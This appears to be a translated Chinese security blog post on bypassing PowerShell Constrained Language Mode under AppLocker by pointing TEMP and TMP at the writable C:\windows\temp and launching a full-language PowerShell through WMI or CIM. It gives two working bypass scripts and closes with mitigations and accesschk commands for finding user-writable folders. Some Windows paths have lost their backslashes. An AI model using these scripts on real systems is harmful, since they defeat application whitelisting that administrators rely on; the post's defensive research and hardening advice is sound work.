一、前言
我曾深入分析過AppLocker,想從中找到繞過PowerShell約束語(yǔ)言模式(Constrained Language Mode,CLM)的方法,本文介紹了我在該過程中發(fā)現(xiàn)的一種技術(shù)。我已將該問題反饋至微軟,但對(duì)方并不想為此提供服務(wù)方案,不認(rèn)為該問題滿足解決標(biāo)準(zhǔn)。
二、問題背景
我在觀察PowerShell啟動(dòng)的事件日志時(shí)發(fā)現(xiàn)了這種方法,我注意到PowerShell在啟動(dòng)時(shí)總會(huì)觸發(fā)兩個(gè)警告,聲稱程序無法執(zhí)行:
該警告涉及到一個(gè).PSM1
文件以及一個(gè).PS1
文件,這些文件名隨機(jī)生成,滿足如下模式:
__PSSCRIPTPOLICYTEST_<8個(gè)隨機(jī)字符>.<3個(gè)隨機(jī)字符>.PS1
__PSSCRIPTPOLICYTEST_<8個(gè)隨機(jī)字符>.<3個(gè)隨機(jī)字符>.PSM1
當(dāng)我們觀察警告日志,可以注意到系統(tǒng)嘗試在用戶的%temp%
目錄中執(zhí)行這些文件,當(dāng)然AppLocker會(huì)限制這種行為,除非我們主動(dòng)定義例外才能放行。
我捕捉到了這些文件,以便分析文件內(nèi)容。采用如下一個(gè)簡(jiǎn)單的PowerShell循環(huán)腳本即可捕捉這些文件:
while($true)
{
Copy-Item -Path $("$env:temp*.ps*") -Destination C:temp
}
文件內(nèi)容如下所示(兩個(gè)文件的內(nèi)容一致):
略微思考如何繞過執(zhí)行限制后,我想到了一種方法,那就是我們可以預(yù)先創(chuàng)建所有可能存在的.PS1
及.PSM1
文件,然后使用硬鏈接(hardlink)方法將其鏈接到允許執(zhí)行的某個(gè)位置。然而這個(gè)過程會(huì)創(chuàng)建海量的文件,因此我很快就放棄了這種方法。隨后我想到,也許PowerShell會(huì)從用戶環(huán)境變量中讀取臨時(shí)目錄的值,事實(shí)證明我的猜測(cè)非常正確。
三、繞過方法
由于我們可以修改注冊(cè)表中HKCU\Environment
下%TEMP%
以及%TMP%
的值,因此我決定先嘗試這個(gè)方法。操作起來非常簡(jiǎn)單,只需要打開注冊(cè)表編輯器,修改這些值即可。在測(cè)試中,我使用的是默認(rèn)的AppLocker規(guī)則,這些規(guī)則允許執(zhí)行來自C:\Windows\*
目錄下的腳本,因此我決定將%TEMP%
以及%TMP%
指向c:\windows\temp
,因?yàn)橛脩艟邆湓撃夸浀膶憴?quán)限。請(qǐng)注意,如果用戶具備某個(gè)路徑的寫權(quán)限,而該路徑中的腳本又可以執(zhí)行,那么用戶就可以將自己的PS1腳本放到該目錄中,然后在完整語(yǔ)言模式(Full Language Mode)中執(zhí)行該腳本。
修改注冊(cè)表鍵值后,我打開了一個(gè)新的PowerShell窗口。令人驚訝的是,程序并沒有使用新的環(huán)境變量值。
Google搜索一番后,我發(fā)現(xiàn)我們可以將Start-Process
與-UseNewEnvironment
參數(shù)搭配使用。這種方法適用于大多數(shù)進(jìn)程,但遺憾的是PowerShell無法以這種方式啟動(dòng),會(huì)快速?gòu)棾龃翱谌缓箨P(guān)閉,因此我們又回到了問題的起點(diǎn)。
經(jīng)過若干次實(shí)驗(yàn)后,我想到我們可以使用WMIC來啟動(dòng)進(jìn)程,并且我們也可以在PowerShell中使用WMI命令。我決定試一下這種方法,結(jié)果的確行之有效,最終我構(gòu)造的腳本如下所示:
$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:windowstemp"
$TMPBypassPath = "C:windowstemp"
Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value $CurrTemp
上述代碼中最為關(guān)鍵的是Invoke-WmiMethod -Class win32_process -Name create -ArgumentList “powershell”
這條命令。當(dāng)該腳本從CLM模式中啟動(dòng)時(shí),會(huì)啟動(dòng)具備完整語(yǔ)言模式的新的PowerShell窗口,整個(gè)運(yùn)行過程如下圖所示:
我發(fā)現(xiàn)這種方法非常酷,因此決定將其集成到我的PowerAL項(xiàng)目中的一個(gè)函數(shù)(PowerAppLocker)。
在函數(shù)編寫過程中,我發(fā)現(xiàn)還有一種更好的方法,可以不修改用戶的環(huán)境變量,這里應(yīng)該感謝Matt Graeber撰寫的精彩文章。
在那篇文章中,Matt Graeber介紹了如何從Win32_Process
類中啟動(dòng)一個(gè)進(jìn)程,并且使用我們自定義的環(huán)境變量,而這正是我所需要的技術(shù)。
我編寫的原始函數(shù)代碼如下所示(該代碼是PowerAL模塊的一部分,大家可以訪問Github頁(yè)面獲取完整代碼):
#Path to Powershell
$CMDLine = "$PSHOMEpowershell.exe"
#Getting existing env vars
[String[]] $EnvVarsExceptTemp = Get-ChildItem Env:* -Exclude "TEMP","TMP"| % { "$($_.Name)=$($_.Value)" }
#Custom TEMP and TMP
$TEMPBypassPath = "Temp=C:windowstemp"
$TMPBypassPath = "TMP=C:windowstemp"
#Add the to the list of vars
$EnvVarsExceptTemp += $TEMPBypassPath
$EnvVarsExceptTemp += $TMPBypassPath
#Define the start params
$StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
#Start a new powershell using the new params
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $CMDLine
ProcessStartupInformation = $StartParams
}
四、緩解措施
如何避免攻擊者利用這種方法?我們必須定義特定的腳本規(guī)則,禁止腳本從用戶具備寫權(quán)限的目錄中運(yùn)行。這意味著如果我們?cè)试Sc:\windows\*
目錄,那么需要排除掉其中用戶可寫的目錄,如C:\windows\temp
或者C:\windows\tracing
。大家可以使用Accesschk
來獲取用戶具備寫權(quán)限的所有目錄列表,我也提供了一個(gè)批處理腳本,可以幫助大家發(fā)現(xiàn)可寫的目錄:
accesschk -w -s -q -u Users "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Users "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Users "C:Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:Windows" >> windows.txt
整個(gè)過程就這么簡(jiǎn)單,歡迎大家給出意見及建議。